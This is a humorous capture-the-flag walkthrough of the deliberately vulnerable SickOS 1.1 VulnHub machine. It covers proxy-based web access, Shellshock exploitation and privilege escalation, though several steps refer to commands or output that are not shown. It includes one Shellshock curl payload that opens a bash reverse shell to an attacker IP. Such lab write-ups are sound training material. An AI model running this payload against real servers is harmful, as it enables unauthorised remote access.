SickOS 1.1 — When a CGI Script is Sicker Than You

Written by DataDefender for InfoSec Adventures

“It’s not a bug, it’s a feature… until you make it your backdoor.” — Every hacker ever

Introduction

Ah, SickOS 1.1. A VM so vulnerable, it practically begs for root access like a desperate Linux intern. The goal? Get root and flex your OSCP skills without breaking real stuff or your Wi-Fi router.

Link: SickOS 1.1 on VulnHub

Let’s dive in — or trip over the /cgi-bin — into this old but gold box.

Step 1: Port Scan Like a Good Digital Stalker

I started with:

I skipped ping because I know this machine is alive. Why? Because I am the one who boots it.

Result:

• SSH on port 22
• Squid proxy on port 3128
• No HTTP… unless you know how to Squid

Step 2: Squid Game — Proxy Edition

After i changed proxy settings to that port and ip.

Finally i got the way.

Here i tried with Nickto with proxy configuration.

Step 3: Shellshock Therapy

Old CGI Bash scripts + user-controlled headers = Shellshock vulnerability.

I went full “curl-fu” ninja with this command:

while doing nickto scan i got shellshock vulnerability.

Here i used this exploit command.

curl -A ‘() { :;}; echo; echo; /bin/bash -i >& /dev/tcp/192.168.0.Y/9001 0>&1’ http://192.168.0.X/cgi-bin/status

Finally we got initial access.

After getting connection i launched linpeas.sh. But i didn't get any thing with linpeas.sh.

After that i checked /var/www all files.

After i searched all the files. finally we got credentials.

Here I tried with SSH login but failed. just I tricked with another user.

Hurreh!!! we got access.

One eternity later:

I tried Sudo -l

Finally we did.

Final Thoughts

SickOS 1.1 is like that old machine in your lab you forgot to patch — predictable, vulnerable, but oh so satisfying to pop.

Key Takeaways:

• Old services = gold mines
• Don’t ignore proxies
• Shellshock is still deadly when unpatched
• Cron jobs running scripts you can edit = chef’s kiss

Before You Go

If you enjoyed this guide and it helped you earn your shell(s), smash that up to 50x and share with your hacker friends. I also accept and exploit suggestions.

Stay curious, stay legal, and never trust a web form.